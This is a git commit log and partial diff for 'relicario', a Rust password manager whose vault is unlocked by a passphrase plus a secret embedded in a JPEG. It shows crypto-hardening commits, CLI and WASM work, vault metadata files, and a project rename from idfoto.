74 Commits

Author SHA1 Message Date
adlee-was-taken
65e0d3cb80 docs: update CLAUDE.md for the typed-item module layout
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:47:08 -04:00
adlee-was-taken
c3edf9d413 test(cli): vault_dir detection (L8) + v1 vault rejection
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:39:13 -04:00
adlee-was-taken
20350d509b test(cli): integration tests for edit/history, attachments, settings
Adds RELICARIO_TEST_ITEM_SECRET env hatch for rpassword calls in
cmd_add / cmd_edit so piped-stdin tests can exercise the password
prompt paths without a TTY.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:37:56 -04:00
adlee-was-taken
b263c27da9 test(cli): integration harness + basic flow tests
Uses assert_cmd + tempfile to spin up a fresh vault per test.
Covers init layout, add/list/get mask semantics, rm/restore/purge cycle,
and generate smoke. Adds RELICARIO_TEST_PASSPHRASE env-var hatch in
unlock_interactive and cmd_init so tests don't need a TTY.

Also fixes read_params in session.rs to correctly parse the nested
params.json format (kdf sub-object) rather than trying to deserialize
the whole file as KdfParams.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 18:32:45 -04:00
adlee-was-taken
494eedbbb8 init: new relicario vault (format v2) 2026-04-20 18:31:46 -04:00
adlee-was-taken
b8afec3560 feat(wasm): configure serde_wasm_bindgen for plain-object HashMap
Maps serialize as JS objects, not Maps — what the extension popup
expects. Also ships hand-written TS declarations for the bridge
(consumed by Plan 1C).

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 17:41:41 -04:00
adlee-was-taken
92b9e64ef9 feat(wasm): attachment / generator / totp / imgsecret / id bridges
Also ports TOTP RFC 6238 compute to relicario-core::item_types::totp
so native + CLI + WASM share one implementation (audit H5: CSPRNG
via core's Uniform-sampling generator).

Adds hmac = "0.12" and sha1 = "0.10" to relicario-core deps to support
HOTP/TOTP HMAC with Sha1/Sha256/Sha512. RFC 6238 test vector (t=59,
SHA-1, 8 digits) passes: "94287082".
2026-04-20 17:39:45 -04:00
adlee-was-taken
fac2e49cf1 feat(wasm): manifest / item / settings encrypt+decrypt via SessionHandle
Adds six #[wasm_bindgen] functions (manifest_encrypt/decrypt,
item_encrypt/decrypt, settings_encrypt/decrypt) plus a native
round-trip test that verifies encrypt→core_decrypt and nonce
uniqueness without calling js-sys (serde_wasm_bindgen::from_value
is wasm32-only; documented in test comment).
2026-04-20 17:37:50 -04:00
adlee-was-taken
f3ce76d9fb feat(wasm): opaque SessionHandle bridge with unlock/lock
Master key never leaves WASM linear memory. Held in Zeroizing<[u8;32]>
inside a thread_local HashMap keyed by u32. lock() removes + zeroizes.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-20 17:34:50 -04:00
adlee-was-taken
8c315654ae feat(cli): device add / list / revoke rewired to hardened git 2026-04-20 17:32:09 -04:00
adlee-was-taken
a3871ac890 feat(cli): relicario sync — pull --rebase then push via hardened git 2026-04-20 17:31:45 -04:00
adlee-was-taken
10f249d95e feat(cli): relicario settings show / trash-retention / history-retention / attachment-cap 2026-04-20 17:31:27 -04:00
adlee-was-taken
a6bad4bb3e feat(cli): relicario generate delegates to core (audit H6)
CLI no longer has its own charset-sampling path — uses the CSPRNG
generate_password / generate_passphrase in relicario-core, which use
rand::distributions::Uniform internally.
2026-04-20 17:30:56 -04:00
adlee-was-taken
cbd1dbd706 feat(cli): attachment ops — attach / attachments / extract
Respects AttachmentCaps from settings.enc; content-addressed aid
comes from core::encrypt_attachment.
2026-04-19 22:27:13 -04:00
adlee-was-taken
b5015b3e9b fix(cli): trash empty unlocks vault once, not per item
Extracted purge_item helper so cmd_trash_empty loops over it without
re-prompting for passphrase per item. Single git commit per trash empty
summarizing the count. Caught in Task 12 review.
2026-04-19 22:25:57 -04:00
adlee-was-taken
cc279bac0b feat(cli): trash ops — rm / restore / purge / trash empty
Soft-delete sets trashed_at via Item::soft_delete; restore clears it.
Purge deletes item + attachment dir and removes manifest entry.
Trash empty scans for items past settings.trash_retention.
2026-04-19 22:24:32 -04:00
adlee-was-taken
06c8903e2b feat(cli): relicario edit — interactive field updates + history
Title/group/tags always optional. Per-type prompts for core secret
fields (Login.password, Card.number, Key.material, SecureNote.body)
push the old value to field_history via a synthetic core:<key>
FieldId so rotation is audit-traceable.
2026-04-19 22:22:45 -04:00
adlee-was-taken
377d73355b feat(cli): relicario list with --type/--group/--tag/--trashed filters
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:20:26 -04:00
adlee-was-taken
ed451041b0 feat(cli): relicario get with masking, --show, and zeroize-clipboard
Secrets masked by default (audit M7). --show reveals plaintext.
--copy writes to clipboard and spawns a detached 30s auto-clear
thread holding a Zeroizing copy that wipes on drop (audit M6).
2026-04-19 22:19:15 -04:00
adlee-was-taken
fe017455d3 feat(cli): relicario add — remaining 6 item types
SecureNote, Identity, Card, Key, Document (with inline attachment),
and Totp with base32 secret decoding. Document widens the commit
to include the attachment blob path.
2026-04-19 22:16:51 -04:00
adlee-was-taken
89b22cb089 feat(cli): relicario add login with flag + interactive prompting
Unlocks vault, builds LoginCore from flags (password via rpassword if
--password-prompt), saves item + manifest, commits via hardened git.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:13:17 -04:00
adlee-was-taken
5dce2c10f9 fix(cli): init stages salt, handles --output ..-paths, zeroizes image_secret
1. Add .relicario/salt to the initial git commit so it syncs across
   devices (Argon2 salt must match at unlock time).
2. Return a proper error instead of panicking when --output has no
   filename component (e.g., trailing ..).
3. Wrap the generated 32-byte image_secret in Zeroizing for
   consistency with the passphrase + master_key handling in Task 4.

Caught in Task 6 review.
2026-04-19 22:11:10 -04:00
adlee-was-taken
a50099a066 feat(cli): relicario init creates a format-v2 vault
Prompts for a strong passphrase (zxcvbn gate via core), generates a
32-byte image secret, embeds it in the carrier JPEG, writes the
standard vault skeleton, and makes an initial git commit via the
hardened git_command helper.
2026-04-19 22:02:53 -04:00
adlee-was-taken
15e6ed9c75 feat(cli): scaffold clap surface for all typed-item commands
Every subcommand from the Plan 1B CLI spec present; bodies return
'not yet implemented' so subsequent tasks land one command at a time.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 22:00:14 -04:00
adlee-was-taken
589d7b90b4 fix(cli): zeroize image_secret + correct atomic_write temp path
atomic_write now appends .tmp instead of replacing the extension
(manifest.enc.tmp, not manifest.tmp). image_secret is wrapped in
Zeroizing so both KDF inputs wipe on drop. Caught in Task 4 review.
2026-04-19 21:57:42 -04:00
adlee-was-taken
06d21bf7c9 feat(cli): add UnlockedVault session wrapping master_key in Zeroizing
Provides load/save helpers for Manifest/Settings/Item; atomic_write keeps
vault files consistent across crashes. main.rs is transiently broken
against the old Entry API — Task 5+ rewrites the command handlers.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 21:44:44 -04:00
adlee-was-taken
6890926e31 feat(cli): add helpers module (vault_dir/L8, git_command/H4, iso8601/M11)
Bumps rpassword to 7.x (H7) and adds zeroize/chrono/assert_cmd dev-deps.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 21:37:28 -04:00
adlee-was-taken
c8535e11f5 fix(core): correct off-by-one in imgsecret SOF bounds guard
peek_jpeg_dimensions reads jpeg[i+8] as the last byte, so the guard
should be \`i + 8 >= jpeg.len()\`, not \`i + 9 >= jpeg.len()\`. The old
guard would reject a valid SOF marker ending exactly at len()-1.
Caught in Task 2 code-quality review.
2026-04-19 21:34:53 -04:00
adlee-was-taken
7853db061e fix(core): cap imgsecret MAX_DIMENSION at 10000px (audit M3) 2026-04-19 21:27:17 -04:00
adlee-was-taken
3e0cafb269 chore: update Cargo.lock after typed-item dependency additions
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:58:50 -04:00
adlee-was-taken
17bf47611f chore: merge rename commit into Plan 1B branch
Resolves conflicts from merging origin/main (idfoto→relicario rename):
- Kept Plan 1A's typed-item vault.rs, lib.rs, integration.rs over main's
  old entry-based versions
- Took main's relicario_dir() fix in CLI main.rs (sed had missed idfoto_dir)
- Kept Plan 1A's UnsupportedFormatVersion error variant in crypto.rs
- Kept Plan 1A's opaque Decrypt message (audit M4) in error.rs
- Deleted entry.rs (replaced by item.rs + typed modules in Plan 1A)
- Resolved Cargo.toml description to main's "relicario password manager"

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:58:35 -04:00
adlee-was-taken
9c49e5e148 chore: reconcile Plan 1A branch with idfoto→relicario rename
Renames crate directories and sweeps identifiers so Plan 1B can reference
the post-rename names throughout.

- git mv crates/idfoto-{core,cli,wasm} → crates/relicario-{core,cli,wasm}
- sed sweep: idfoto_core/idfoto-core/IdfotoError/IDFOTO_IMAGE/.idfoto/ etc.
- All 128 relicario-core tests pass post-sweep

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-04-19 20:33:04 -04:00
adlee-was-taken
519a6f0e36 chore: rename project from idfoto to relicario
Sweeping rename across crates, CLI binary, WASM bindings, extension, docs,
and vault metadata paths. Git remote updated to relicario.git.

- crates/idfoto-{core,cli,wasm} -> crates/relicario-{core,cli,wasm}
- IdfotoError -> RelicarioError
- IDFOTO_IMAGE env var -> RELICARIO_IMAGE
- ~/.config/idfoto -> ~/.config/relicario
- .idfoto/ vault metadata dir -> .relicario/ (breaking; pre-release)
- Binary name idfoto -> relicario
- Extension wasm module idfoto_wasm -> relicario_wasm
- Storage key idfotoSettings -> relicarioSettings
- All doc filenames and content references updated

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 16:47:02 -04:00
adlee-was-taken
20ff1d9f47 feat: add logo and polish icon presentation
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 16:44:04 -04:00
adlee-was-taken
49b78203f8 chore(core): clean up Plan 1A clippy warnings
Auto-deref at &Zeroizing<[u8;32]> call sites, range pattern in generators,
useless String::into conversions in tests, unused Zeroizing import.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:55:32 -04:00
adlee-was-taken
3cf09faf1e test(core): field history integration (capture, prune, round-trip)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:52:03 -04:00
adlee-was-taken
557fb95b69 test(core): integration tests for format v2 invariants
VERSION_BYTE = 0x02; v1 blobs rejected with UnsupportedFormatVersion;
length-prefix Argon2 input distinguishes collision-engineerable pairs
(audit H1 regression test).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:50:29 -04:00
adlee-was-taken
9cd5924109 test(core): integration tests for generators (balance, BIP39, gate)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:49:08 -04:00
adlee-was-taken
08b1735b0e test(core): integration tests for attachments (round-trip, AID, caps)
Also derives Debug on EncryptedAttachment (required by the test's panic arm).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:47:16 -04:00
adlee-was-taken
c7064183d6 test(core): rewrite integration test for typed items
- full_workflow_login_and_note: round-trips Login + SecureNote + Manifest + Settings
- two_factor_independence: confirms image_secret + passphrase combine into the master key
- field_history_persists_through_round_trip: history survives encrypt/decrypt
- wrong_key_fails_with_opaque_decrypt: opaque error per audit M4

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:45:49 -04:00
adlee-was-taken
950ae3d8dd refactor(core): delete entry.rs; finalize typed-item lib.rs re-exports
The old Entry/ManifestEntry/Manifest types are gone. CLI/extension
references break and will be fixed by Plans 1B and 1C respectively.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:43:16 -04:00
adlee-was-taken
2074677278 feat(core): add Item::prune_history honoring retention policy
Forever, LastN, and Days policies all covered. Tests verify drop order
(keeps newest), days cutoff, and forever-no-op semantics.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:41:13 -04:00
adlee-was-taken
4a98be0dae feat(core): rewrite vault.rs for typed items
encrypt_item / decrypt_item / encrypt_manifest / decrypt_manifest /
encrypt_settings / decrypt_settings. All plaintext flows through
Zeroizing so JSON buffers are wiped on drop.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:38:52 -04:00
adlee-was-taken
f673b1ddee feat(core): add encrypt_attachment + decrypt_attachment
AttachmentId is derived from sha256(plaintext) so identical content
deduplicates naturally. Size cap enforced at encrypt time, returning
IdfotoError::AttachmentTooLarge.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:36:19 -04:00
adlee-was-taken
1fb0f8cc03 chore(core): Debug derive on StrengthEstimate + fix stale test comment
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:35:01 -04:00
adlee-was-taken
61b1a9710b feat(core): add BIP39 passphrase generator + zxcvbn strength gate
generate_passphrase honors word_count (3-12), separator, capitalization.
validate_passphrase_strength enforces zxcvbn score >= 3 (audit H3).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:31:50 -04:00
adlee-was-taken
61d6fb723d fix(core): reject non-ASCII SymbolCharset::Custom at generate time
Avoids from_utf8 panic when Custom contains multi-byte UTF-8 chars
whose individual bytes are independently sampled into the output.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:04:13 -04:00
adlee-was-taken
db3f2e15f2 feat(core): add CSPRNG random password generator with safe charset
Uses rand::distributions::Uniform for unbiased sampling (audit H6).
Safe symbols = !@#$%^&*-_=+ (excludes characters that web forms
commonly reject). Test length capped at 128 (validator upper bound).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:02:39 -04:00
adlee-was-taken
b2d8a759ef fix(core): SymbolCharset needs content="value" for Custom(String)
Same latent bug as TrashRetention/HistoryRetention — serde's
internally-tagged repr cannot merge a newtype primitive payload
into a tag object. Add regression test for Custom round-trip.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 15:01:09 -04:00
adlee-was-taken
266761232d feat(core): add VaultSettings with retention + generator + caps
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:30:17 -04:00
adlee-was-taken
1a30c4ffe0 feat(core): add typed-item Manifest with schema_version 2
ManifestEntry holds the per-item browse summary including derived
icon_hint (Login URL hostname) and attachment_summaries. Search matches
title or tag substring case-insensitively.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:27:40 -04:00
adlee-was-taken
a5ddbf2e40 feat(core): add Item envelope with field history + soft-delete
set_field_value() captures old values for Password, Concealed, and Totp
kinds. Soft-delete via trashed_at timestamp; restore clears it. Kind
changes on set_field_value are rejected.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 14:25:11 -04:00
adlee-was-taken
509db707e0 feat(core): add AttachmentRef + AttachmentSummary
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:16:15 -04:00
adlee-was-taken
23f7cb76b1 feat(core): add Field, FieldKind, FieldValue, Section
Parallel kind/value enums with a validate() invariant. Password,
Concealed, and Totp kinds are marked history-tracked so the Item setter
(next task) can decide whether to capture history on update.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:14:00 -04:00
adlee-was-taken
a95f92fe71 test(core): exhaustive round-trip for all seven ItemCore variants
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:11:08 -04:00
adlee-was-taken
91b4b5b7a4 feat(core): flesh out TotpCore + TotpConfig + TotpAlgorithm + TotpKind
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:09:34 -04:00
adlee-was-taken
5786d9ef1a feat(core): flesh out DocumentCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:08:03 -04:00
adlee-was-taken
0b0f1cea73 feat(core): flesh out KeyCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:06:50 -04:00
adlee-was-taken
0707628d58 feat(core): flesh out CardCore + CardKind
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:05:36 -04:00
adlee-was-taken
316036832c feat(core): flesh out IdentityCore
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:04:23 -04:00
adlee-was-taken
ee25ffed41 feat(core): flesh out SecureNoteCore (Zeroizing body)
Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 13:03:03 -04:00
adlee-was-taken
24ed740718 feat(core): flesh out LoginCore with Zeroizing<password> and Url
Also enables zeroize's `serde` feature so Zeroizing<String> can
round-trip through serde_json.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:59:46 -04:00
adlee-was-taken
bc60f0a6b4 docs(core): add "type" tag-collision invariant to ItemCore
Reviewer note: flatten semantics of serde tag = "type" means no *Core
struct may ever use "type" as a field name.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:58:43 -04:00
adlee-was-taken
0eac9c7991 feat(core): scaffold item_types module with ItemType + ItemCore enum
Stub LoginCore, SecureNoteCore, IdentityCore, CardCore, KeyCore,
DocumentCore, TotpCore. Tag-based serde representation with snake_case
discriminants.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 12:55:34 -04:00
adlee-was-taken
87ead533e5 feat(core): bump VERSION_BYTE to 0x02 with typed UnsupportedFormatVersion
Clean break from v1 — no migration. Decrypting a v1 blob now returns
IdfotoError::UnsupportedFormatVersion { found: 0x01, expected: 0x02 }.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 10:48:49 -04:00
adlee-was-taken
2ea7658036 feat(core): length-prefixed Argon2 input + NFC + Zeroize (audit H1, H2)
derive_master_key now:
- length-prefixes passphrase and image_secret to eliminate concatenation
  ambiguity (H1)
- normalizes passphrase to UTF-8 NFC before hashing
- returns Zeroizing<[u8; 32]> so the master key is wiped on drop (H2)
- wraps the intermediate password buffer in Zeroizing for the same reason

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:57:58 -04:00
adlee-was-taken
1bd86bdb13 refactor(core): rewrite IdfotoError variants for typed items
- Decrypt is now opaque (audit M4)
- Add WeakPassphrase, AttachmentTooLarge, ItemNotFound, UnsupportedFormatVersion
- Rename EntryNotFound → ItemNotFound across remaining call sites

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:53:28 -04:00
adlee-was-taken
1e8ffb02a3 feat(core): add now_unix() and MonthYear
MonthYear used for card expiries; bounds 2000..=2099 are intentional.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:51:35 -04:00
adlee-was-taken
6c601fae08 chore(core): add Default impls + FieldId uniqueness test
Code review fixups:
- ItemId/FieldId need impl Default delegating to ::new() to silence
  clippy::new_without_default
- FieldId was missing the parallel uniqueness test that ItemId has

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:50:24 -04:00
adlee-was-taken
69c2c7453b feat(core): add ItemId, FieldId, AttachmentId types
16-char hex (64-bit) random IDs for items and fields (audit M8).
AttachmentId is sha256(plaintext)[..16] for content-addressing.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:47:23 -04:00
adlee-was-taken
9a5ae2c704 chore(core): add chrono wasmbind feature for WASM target
Code review flagged that chrono's clock feature requires wasmbind for
WASM builds — without it Utc::now() will fail at runtime in the
idfoto-wasm crate. Also drops the redundant hex entry in
[dev-dependencies] (already in [dependencies]).

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:42:27 -04:00
adlee-was-taken
166f1418f7 chore(core): add deps for typed-item rewrite
zeroize, zxcvbn, bip39, unicode-normalization, chrono, hex, url, getrandom.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:37:56 -04:00
adlee-was-taken
be6928c0d1 docs: add Plan 1A — Rust core typed-item implementation
31 bite-sized TDD tasks covering: ID types, time helpers, error rewrite,
crypto fixes (length-prefix KDF, Zeroize, NFC, VERSION_BYTE 0x02), seven
typed cores with per-type modules, Field/FieldKind/FieldValue/Section,
Item envelope with field_history + soft-delete, AttachmentRef + content-
addressed encrypt/decrypt, Manifest with schema_version 2, VaultSettings,
CSPRNG generators with safe charset, BIP39 + zxcvbn strength gate, vault
helpers, retention pruning, full integration test suite.

idfoto-cli is expected to fail compilation at the end of this plan;
Plan 1B fixes it.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 09:24:27 -04:00
adlee-was-taken
cc7247e7f6 docs: add security audit + typed-item data model design
Adds the Phase 1 design spec for the polymorphic typed-item rewrite (Login,
SecureNote, Identity, Card, Key, Document, TOTP — with sections, custom
fields, attachments, password history, and the security architecture from
the audit baked in from day one). Also adds the initial full-codebase
security audit that informs both Phase 0 remediation and Phase 1 design.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
2026-04-19 01:35:49 -04:00
96 changed files with 12751 additions and 2648 deletions

8
.gitignore vendored
View File

@@ -1,7 +1 @@
target/
.superpowers/
.worktrees/
extension/node_modules/
extension/dist/
extension/dist-firefox/
extension/wasm/
ref.jpg

1
.relicario/devices.json Normal file
View File

@@ -0,0 +1 @@
[]

11
.relicario/params.json Normal file
View File

@@ -0,0 +1,11 @@
{
"format_version": 2,
"kdf": {
"algorithm": "argon2id-v0x13",
"argon2_m": 65536,
"argon2_t": 3,
"argon2_p": 4
},
"aead": "xchacha20poly1305",
"salt_path": ".relicario/salt"
}

1
.relicario/salt Normal file
View File

@@ -0,0 +1 @@
ο½48^ΖΥ<CE96>\Χ<>ο<EFBFBD>Ιl$$Η. ώφrΥΩΛ

View File

@@ -1,41 +1,54 @@
# CLAUDE.md — idfoto
# CLAUDE.md — relicario
## What is this
idfoto is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
relicario is a git-backed, self-hostable password manager with a Rust core. Two-factor vault decryption: passphrase + a reference JPEG carrying a 256-bit secret embedded via DCT steganography. The server only ever sees opaque ciphertext.
## Build and test
```bash
cargo build # build everything
cargo test # run all tests (unit + integration)
cargo test -p idfoto-core # core library tests only
cargo run -- --help # CLI help
cargo run -- generate -l 32 # quick smoke test
cargo build # build everything
cargo test # run all tests (unit + integration)
cargo test -p relicario-core # core library tests only
cargo test -p relicario-cli --test basic_flows # CLI integration tests
cargo build -p relicario-wasm --target wasm32-unknown-unknown # WASM target
cargo run -p relicario-cli -- --help # CLI help
cargo run -p relicario-cli -- generate --length 32 # quick smoke test
```
## Project structure
```
crates/
├── idfoto-core/ # Platform-agnostic library (no filesystem, no git, no network)
├── relicario-core/ # Platform-agnostic library (no filesystem, no git, no network)
│ ├── src/
│ │ ├── lib.rs # Re-exports public API
│ │ ├── error.rs # IdfotoError enum (thiserror)
│ │ ├── crypto.rs # Argon2id KDF + XChaCha20-Poly1305 encrypt/decrypt
│ │ ├── entry.rs # Entry, ManifestEntry, Manifest structs (serde)
│ │ ├── vault.rs # encrypt_entry, decrypt_entry, encrypt_manifest, decrypt_manifest
│ │ ── imgsecret.rs # DCT-based 256-bit secret embedding in JPEGs
── tests/
── integration.rs # Full-workflow and two-factor independence tests
└── idfoto-cli/ # CLI binary
└── src/
── main.rs # clap CLI: init, add, get, list, edit, rm, sync, generate, device
│ │ ├── lib.rs # Re-exports public API
│ │ ├── error.rs # RelicarioError enum (thiserror)
│ │ ├── crypto.rs # Argon2id KDF (length-prefixed, Zeroizing) + XChaCha20-Poly1305
│ │ ├── ids.rs # ItemId, FieldId, content-addressed AttachmentId
│ │ ├── time.rs # now_unix, MonthYear
│ │ ── item_types/ # per-type cores + ItemType/ItemCore enums
│ ├── item.rs # Item envelope, Field, FieldKind, FieldValue, Section
── attachment.rs # AttachmentRef, EncryptedAttachment, encrypt/decrypt helpers
│ │ ├── manifest.rs # Browse-without-decrypt index (schema_version 2)
│ ├── settings.rs # VaultSettings: retention, generator defaults, caps
── generators.rs # CSPRNG password + BIP39 + zxcvbn gate
│ │ ├── vault.rs # JSON ↔ AEAD wrappers for Item/Manifest/VaultSettings
│ │ └── imgsecret.rs # DCT steganography (MAX_DIMENSION cap)
│ └── tests/ # integration.rs, attachments.rs, generators.rs, format_v2.rs, field_history.rs
├── relicario-cli/ # `relicario` binary
│ ├── src/main.rs # clap surface + command handlers
│ ├── src/helpers.rs # vault_dir, git_command, iso8601
│ ├── src/session.rs # UnlockedVault (master key in Zeroizing)
│ └── tests/ # basic_flows, edit_and_history, attachments, settings, vault_detection
└── relicario-wasm/ # WASM bindings for the extension
├── src/lib.rs # #[wasm_bindgen] surface
└── src/session.rs # opaque SessionHandle → Zeroizing<[u8;32]>
```
## Key design decisions
- **idfoto-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
- **relicario-core is bytes-in/bytes-out.** No filesystem, no network, no git operations. Makes it portable to WASM, Android, iOS.
- **XChaCha20-Poly1305** over AES-GCM — 192-bit nonce eliminates collision risk, fast in WASM/ARM without AES-NI.
- **Single master_key** (no per-entry subkeys) — simpler, sufficient for family vault sizes.
- **imgsecret uses central-embed DCT** — embeds only in the middle 70% of the image (15% crumple zone for crop tolerance), with majority voting across 5-50 redundant copies.
@@ -49,24 +62,24 @@ passphrase (UTF-8 bytes) || image_secret (32 bytes from reference JPEG)
→ Argon2id(salt=vault_salt, m=64MiB, t=3, p=4)
→ master_key (32 bytes)
→ XChaCha20-Poly1305(nonce=random 24 bytes)
→ encrypted entry/manifest
→ encrypted Item/Manifest/VaultSettings
```
## Conventions
- Tests use fast Argon2id params (m=256, t=1, p=1) so they don't take forever.
- Test JPEGs are generated synthetically via `make_test_jpeg()` — no binary test fixtures.
- Entry IDs are random 8-char hex strings.
- Item IDs are random 8-char hex strings.
- Git history is preserved as an audit log — no squashing.
- The CLI shells out to `git` for sync — no libgit2/gitoxide dependency.
## Remote
Source code: `ssh://git@git.adlee.work:2222/alee/idfoto.git`
Source code: `ssh://git@git.adlee.work:2222/alee/relicario.git`
## Design spec
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-idfoto-design.md`
Full threat model, entropy analysis, and architecture: `docs/superpowers/specs/2026-04-11-relicario-design.md`
## Roadmap

1166
Cargo.lock generated

File diff suppressed because it is too large Load Diff

View File

@@ -1,7 +1,7 @@
[workspace]
resolver = "2"
members = [
"crates/idfoto-core",
"crates/idfoto-cli",
"crates/idfoto-wasm",
"crates/relicario-core",
"crates/relicario-cli",
"crates/relicario-wasm",
]

View File

@@ -1,4 +1,8 @@
# idfoto
<p align="center">
<img src="extension/icons/relicario-logo.svg" alt="relicario" width="128" height="128">
</p>
# relicario
A git-backed, self-hostable password manager where decryption requires two independent factors: a passphrase you memorize and a reference JPEG that carries a hidden secret. Compromise of either factor alone is insufficient.
@@ -19,7 +23,7 @@ Your reference photo (something you have)
your device (opaque ciphertext)
```
At vault creation, idfoto embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
At vault creation, relicario embeds a random 256-bit secret into a carrier JPEG using DCT steganography. This photo becomes your **reference image** — a second factor that lives on your devices (and optionally as a "dead drop" on social media, since it survives JPEG re-encoding and mild cropping).
To unlock the vault, you provide your passphrase and point the client at the reference image. The client extracts the hidden secret, concatenates it with your passphrase, and runs Argon2id to derive the master key. Everything else follows from there.
@@ -30,9 +34,9 @@ To unlock the vault, you provide your passphrase and point the client at the ref
A git repository containing:
- `manifest.enc` — opaque binary blob
- `entries/*.enc` — more opaque binary blobs
- `.idfoto/salt` — a random 32-byte value (not secret)
- `.idfoto/params.json` — Argon2id parameters (not secret)
- `.idfoto/devices.json` — authorized device public keys
- `.relicario/salt` — a random 32-byte value (not secret)
- `.relicario/params.json` — Argon2id parameters (not secret)
- `.relicario/devices.json` — authorized device public keys
That's it. No plaintext. No metadata about what's inside. No keys, no passphrases, no reference images.
@@ -54,7 +58,7 @@ No single point of failure. The two-factor design means the passphrase alone can
| LastPass | ~40-60 bits (master password only) | 1 |
| Bitwarden | ~40-60 bits (master password only) | 1 |
| 1Password | password + 128-bit Secret Key | 2 |
| **idfoto** | **password + 256-bit image secret** | **2** |
| **relicario** | **password + 256-bit image secret** | **2** |
### What we don't protect against
@@ -69,31 +73,31 @@ No single point of failure. The two-factor design means the passphrase alone can
cargo build --release
# Create a vault (pick any JPEG as the carrier)
idfoto init --image vacation.jpg --output reference.jpg
relicario init --image vacation.jpg --output reference.jpg
# Add a credential
idfoto add
relicario add
# Retrieve it
idfoto get github
relicario get github
# List everything
idfoto list
relicario list
# Sync with your git remote
idfoto sync
relicario sync
# Generate a random password
